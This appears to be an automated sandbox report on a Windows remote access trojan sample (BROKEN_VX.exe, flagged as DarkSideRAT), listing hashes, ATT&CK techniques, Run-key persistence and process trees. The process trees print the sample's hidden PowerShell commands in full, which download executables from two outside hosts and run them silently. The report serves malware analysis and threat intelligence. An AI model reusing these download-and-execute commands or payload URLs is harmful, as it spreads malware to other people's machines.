darksiderat | 83a72cd2810cbc53719f4114a8acfa7794dedca3ead73ba8a81514d7218c6893

Analysis

user interaction
yes
max time kernel
8s
max time network
42s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/07/2026, 17:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
BROKEN_VX.exe
Size 1.4MB
Sample260707-vtl4eaa18q
SHA256 83a72cd2810cbc53719f4114a8acfa7794dedca3ead73ba8a81514d7218c6893
MD5 a41a161dadba497e4c4854c54701a19c
SHA1 83225482c73a30a41d9e5775b1b1633a35c055e4
SHA512 1ed96e86632a937c3d50287a346f60dcd8fe55c0e8fc59a2cba0f1be972e3bf0ac6ed0bca9b3e2c6bbf831b0bd7143d72e38f602a442f73a721f6c88f5258f22
SSDEEP 24576:XlNX7tfb+1G+mAUBAU9BkEn0E7LHyPGbndJidn9i4OI1:HE1rmAUnednNV1
TLSH
T13F65088BE6F701F0D6BAE134F152722BF93134598738A7979BD14B4647A17A0A9BF300
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat persistence trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral2/files/0x001000000001c63a-34.dat	family_darksiderat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4364	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3536	powershell.exe
4364	powershell.exe
1040	powershell.exe
2076	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1590476978-4004838454-3790292847-1000\Software\Microsoft\Windows\CurrentVersion\Run\BROKEN_VX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\BROKEN_VX.exe\""	BROKEN_VX.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1590476978-4004838454-3790292847-1000\Software\Microsoft\Windows\CurrentVersion\Run\BROKEN_VX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\BROKEN_VX.exe\""	BROKEN_VX.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3536	powershell.exe
3536	powershell.exe
4364	powershell.exe
4364	powershell.exe
4364	powershell.exe
1040	powershell.exe
1040	powershell.exe
1040	powershell.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2828	BROKEN_VX.exe
2404	BROKEN_VX.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeDebugPrivilege	4364	powershell.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	2076	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2828	BROKEN_VX.exe
2404	BROKEN_VX.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2828 wrote to memory of 4540	2828	BROKEN_VX.exe	88
PID 4540 wrote to memory of 1112	4540	cmd.exe	90
PID 2828 wrote to memory of 2224	2828	BROKEN_VX.exe	92
PID 1112 wrote to memory of 3536	1112	cmd.exe	94
PID 2224 wrote to memory of 1812	2224	cmd.exe	95
PID 1812 wrote to memory of 4364	1812	cmd.exe	98
PID 2404 wrote to memory of 4788	2404	BROKEN_VX.exe	100
PID 4788 wrote to memory of 2824	4788	cmd.exe	102
PID 2404 wrote to memory of 3684	2404	BROKEN_VX.exe	104
PID 2824 wrote to memory of 1040	2824	cmd.exe	106
PID 3684 wrote to memory of 1632	3684	cmd.exe	107
PID 1632 wrote to memory of 2076	1632	cmd.exe	109

C:\Users\Admin\AppData\Local\Temp\BROKEN_VX.exe
"C:\Users\Admin\AppData\Local\Temp\BROKEN_VX.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK664601.exe; Start-Process -FilePath $env:TEMP\BK664601.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4540
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK664601.exe; Start-Process -FilePath $env:TEMP\BK664601.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK664601.exe; Start-Process -FilePath $env:TEMP\BK664601.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:APPDATA\BK619625.exe; Start-Process -FilePath $env:APPDATA\BK619625.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:APPDATA\BK619625.exe; Start-Process -FilePath $env:APPDATA\BK619625.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:APPDATA\BK619625.exe; Start-Process -FilePath $env:APPDATA\BK619625.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4364
    - - C:\Users\Admin\AppData\Roaming\BK619625.exe
        
        "C:\Users\Admin\AppData\Roaming\BK619625.exe"
        5⤵
        
        PID:624

C:\Users\Admin\AppData\Local\Temp\BROKEN_VX.exe
"C:\Users\Admin\AppData\Local\Temp\BROKEN_VX.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK664601.exe; Start-Process -FilePath $env:TEMP\BK664601.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\System32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK664601.exe; Start-Process -FilePath $env:TEMP\BK664601.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK664601.exe; Start-Process -FilePath $env:TEMP\BK664601.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:APPDATA\BK619625.exe; Start-Process -FilePath $env:APPDATA\BK619625.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\System32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:APPDATA\BK619625.exe; Start-Process -FilePath $env:APPDATA\BK619625.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:APPDATA\BK619625.exe; Start-Process -FilePath $env:APPDATA\BK619625.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2076

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.txt

Path C:\Users\Admin\AppData\Local\BROKEN_VX\settings.txt
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c98e813c31b7a6def34b98a6a7f31aa09e11ca57dab3e85b0379c2fa14e31938
MD5 e5754b86e53ec4374445a98020480ba9
SHA1 9d34024f965ebf4388f0649e6c4c0c773dbb0863
SHA512 3ba44e58073c35963d287f23f7c6589a20417cd17e813d2b7d21d18742ade4edba8e8848d18f4e68351ab740e2d8b3504043b75ae736a57fc989ac65b097a220
TLSH
T1FF215937B3DC8614DC9A413A50CEAC1036B6C7DB809ECEABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 94977161a25ec3136be62a63af7109eb867aee77cedee7ced60c62bb7648e99d
MD5 b62377918af125ea3710059a38ec23d1
SHA1 3ba574685d894c7fa41a21beea24486aac9485ba
SHA512 1baed6061053dc5ce13c772b0496320dcaec862c6b15a5a0befc1f5c21c5b4438115278160f189d5972c72929ef4640c7aa7d7f65900acd5a7a47ab868c1b6d6
TLSH
T105215C37B3DC8614DC9A413A50CEAC1036B6C7D7409ECF6B7B84D544B42F599DE61250
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f5d96d90b50ae281a165f8e015652ac741282a582876376a94a992ee5664d709
MD5 87ef13fe90a3b08012c296c2d1ecca4e
SHA1 4a868f38cf4616df531a50689b3b38c017d589aa
SHA512 11f8a0c7b0381a41a93a3b58eb4bfa604c9fc30b3b8641912ade2dad9222bcb57cefd7c2781050cf16e92115d71197d73339a25b062daa9938d79de7996ba541
TLSH
T104215C37B3DC8614DC9A413A50CDAC1036B5C7DB409ECF6B7B84D544B42F599DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_34tyyp2a.xka.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_34tyyp2a.xka.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

BK619625.exe

Path C:\Users\Admin\AppData\Roaming\BK619625.exe
Size 46KB
SHA256 faba2d6acfa49f75b81572000c702768c235b3de5c98c6c16f2c474ec6b3f0a0
MD5 3b7081b5f3545a85560540b7f406321a
SHA1 0233b83ec2306974499ac2722a7bbc68587abe6d
SHA512 8bda2aa44c68954f6e19ce4be15e44b87cb62827dde8710c22ef9c8721a2c9561023203725d58c1e352dba6a88f67b161f64e2c64990e065ed1ec8e15a6f5d88
SSDEEP 768:Mx3YzDs25wpwvqMIu4ZCYUcIyY/yjoy0phDjb:MdYBwpu5Ib0fTymyGDj
TLSH
T1DF23E926DE57A07FD21D8D74CA031C45DE62BCC69BD0BADB67810CE509A5EE49F3E201
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3536-14-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-19-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-10-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-11-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-0-0x00007FFEA955F000-0x00007FFEA9560000-memory.dmp

Download

memory/3536-15-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-16-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-17-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-18-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-9-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-8-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-25-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-7-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-6-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-5-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-1-0x00007FFEA93D0000-0x00007FFEA9D74000-memory.dmp

Download

memory/3536-4-0x000001C957830000-0x000001C957852000-memory.dmp

Download